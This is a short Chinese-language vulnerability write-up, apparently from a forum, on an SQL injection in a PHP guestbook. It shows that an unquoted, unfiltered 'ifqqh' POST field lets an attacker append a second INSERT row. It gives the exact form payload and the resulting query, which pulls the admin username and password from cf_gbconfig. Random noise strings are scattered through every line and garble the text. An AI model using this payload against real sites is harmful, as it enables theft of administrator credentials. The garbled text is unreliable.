- U6 I; F7 r; W2 b% |/ V$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。* x5 f. O% b7 u! N
$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响 $ B& N+ @6 C8 s: I7 b( E6 P+ f2 M* [
提交的时候把ifqqh的值改一下。变成 ) W X1 A. d5 [, U 3 m* a0 N) g# j# Q" v5 {<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ /> ! f* m/ H! m9 ?" i- I$ s" ^3 }7 N/ f) g5 X) q9 Y4 q
这样SQL插入语句就变了.( q5 g# K f( B* M# ~7 K) u
; }$ w0 ]3 X" C/ j# Ginsert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0) 6 i. U, }0 i2 K7 L0 J) Y" a N' X& z1 A# Q# u. \" D3 w
构造了另外一句SQL。并且把帐号密码读出来。 + r. T, F! a8 A+ |+ s. j 5 \5 S V" C ~$ z6 u, _